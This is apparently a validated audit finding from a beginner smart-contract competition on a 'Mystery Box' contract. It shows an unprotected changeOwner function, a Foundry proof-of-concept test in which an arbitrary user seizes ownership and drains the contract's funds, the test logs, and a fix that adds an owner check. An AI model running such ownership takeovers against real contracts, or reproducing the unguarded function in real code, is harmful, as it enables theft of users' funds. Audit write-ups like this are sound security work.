Mystery Box

First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Unrestricted Ownership Transfer Allows Full Contract Takeover

Summary

The changeOwner and withdrawFunds functions of the MysteryBox contract, which allows any address to assume ownership of the contract and withdraw all funds. The lack of access control in the changeOwner function permits any user to change the contract’s owner without restrictions, leading to a complete loss of control over the contract's balance and settings.

Vulnerability Details

changeOwner Function: This function allows any user to change the contract owner by simply calling the function with an address.

function changeOwner(address _newOwner) public {
owner = _newOwner;
}

withdrawFunds Function: Once the ownership is taken over by any malicious actor via the changeOwner function, they can call the withdrawFunds function to transfer the entire contract balance to themselves.

function withdrawFunds() public {
require(msg.sender == owner, "Only owner can withdraw");
(bool success,) = payable(owner).call{value: address(this).balance}("");
require(success, "Transfer failed");
}

Proof of Concept:

The vulnerability was confirmed using the following test case:

function testAnyAddressCanChangeOwnership() public {
vm.startPrank(user2);
mysteryBox.changeOwner(user1);
assertEq(mysteryBox.owner(), user1);
vm.startPrank(owner);
mysteryBox.changeOwner(user2);
assertEq(mysteryBox.owner(), user2);
console2.log("user2 blanace before withdraw: ", address(user2).balance);
console2.log("Mystery Box blanace before withdraw: ", address(mysteryBox).balance);
vm.startPrank(user2);
mysteryBox.withdrawFunds();
console2.log("user2 blanace after withdraw: ", address(user2).balance);
console2.log("Mystery Box blanace after withdraw: ", address(mysteryBox).balance);
}

Logs:

[PASS] testAnyAddressCanChangeOwnership() (gas: 64547)
Logs:
Reward Pool Length: 4
user2 blanace before withdraw: 0
Mystery Box blanace before withdraw: 100000000000000000
user2 blanace after withdraw: 100000000000000000
Mystery Box blanace after withdraw: 0

Impact

  • Complete Ownership Loss: Any user can become the owner of the contract, seizing full control over it.

  • Full Fund Withdrawal: Once ownership is hijacked, the malicious actor can withdraw the entire balance of the contract.

  • Manipulation of Prices and Rewards: The attacker can manipulate box prices and rewards since they become the contract owner.

Tools Used

Manual Review

Testing Framework: Foundry

Recommendations

Add Access Control in changeOwner Function

OR Use role-based security mechanisms like OpenZeppelin's Ownable or AccessControl to manage ownership and access rights more effectively.

function changeOwner(address _newOwner) public {
+ require(msg.sender == owner, "Only the owner can change ownership");
owner = _newOwner;
}
Updates

Appeal created

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Anyone can change owner

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!